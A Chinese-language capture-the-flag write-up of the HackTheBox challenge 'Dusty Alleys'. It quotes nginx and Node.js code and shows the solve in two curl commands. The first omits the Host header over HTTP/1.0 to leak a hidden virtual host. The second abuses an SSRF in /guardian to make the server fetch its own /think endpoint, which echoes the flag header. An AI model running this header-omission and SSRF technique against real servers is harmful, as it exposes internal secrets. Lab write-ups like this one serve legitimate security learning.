HTB-Dusty Alleys
题目描述
In the dark, dusty underground labyrinth, the survivors feel lost and their resolve weakens. Just as despair sets in, they notice a faint light: a dilapidated, rusty robot emitting feeble sparks. Hoping for answers, they decide to engage with it.
分析
先看nginx
server {
listen 80 default_server;
server_name alley.$SECRET_ALLEY;
location / {
root /var/www/html/;
index index.html;
}
location /alley {
proxy_pass http://localhost:1337;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
location /think {
proxy_pass http://localhost:1337;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
server {
listen 80;
server_name guardian.$SECRET_ALLEY;
location /guardian {
proxy_pass http://localhost:1337;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}可以看到,正常我们应该是访问不到/guardian的,因为不知道$SECRET_ALLEY
看看这个路由是干什么的
router.get("/guardian", async (req, res) => {
const quote = req.query.quote;
if (!quote) return res.render("guardian");
try {
const location = new URL(quote);
const direction = location.hostname;
if (!direction.endsWith("localhost") && direction !== "localhost")
return res.send("guardian", {
error: "You are forbidden from talking with me.",
});
} catch (error) {
return res.render("guardian", { error: "My brain circuits are mad." });
}
try {
let result = await node_fetch(quote, {
method: "GET",
headers: { Key: process.env.FLAG || "HTB{REDACTED}" },
}).then((res) => res.text());
res.set("Content-Type", "text/plain");
res.send(result);
} catch (e) {
console.error(e);
return res.render("guardian", {
error: "The words are lost in my circuits",
});
}
});
可以看到,这个路由检测quote参数并fetch,存在ssrf漏洞,而且headers包含flag
另外,/think路由很有意思
router.get("/think", async (req, res) => {
return res.json(req.headers);
});这个会返回所有的headers值
现在就很清晰了,我们需要想办法访问/guardian然后ssrf到think来获取flag
问题是,怎么访问到/guardian
host头也算头,只需要使用http1.0,即可不发送host头,但是nginx会帮忙路由到default_server,也就是alley.$SECRET_ALLEY
这时候便能泄露$SECRET_ALLEY
root@enoch:~# curl -H "Host:" --http1.0 http://94.237.56.64:33349/think
{"host":"alley.firstalleyontheleft.com","x-real-ip":"10.30.18.155","x-forwarded-for":"10.30.18.155","x-forwarded-proto":"http","connection":"close","user-agent":"curl/7.81.0","accept":"*/*"}然后带上host访问/guardian进行ssrf即可
root@enoch:~# curcurl -H "Host: guardian.firstalleyontheleft.com" --http1.0 "http://94.237.56.64:33349/guardian?quote=http://localhost:1337/think"
{"key":"HTB{xxxx_xx_xx_xxxx_xxxx}","accept":"*/*","user-agent":"node-fetch/1.0 (+https://github.com/bitinn/node-fetch)","accept-encoding":"gzip,deflate","connection":"close","host":"localhost:1337"}挺简单一道题,下次再这么简单还是不发出来了吧(
但是确实学到了http降级这一操作
许可协议:
CC BY 4.0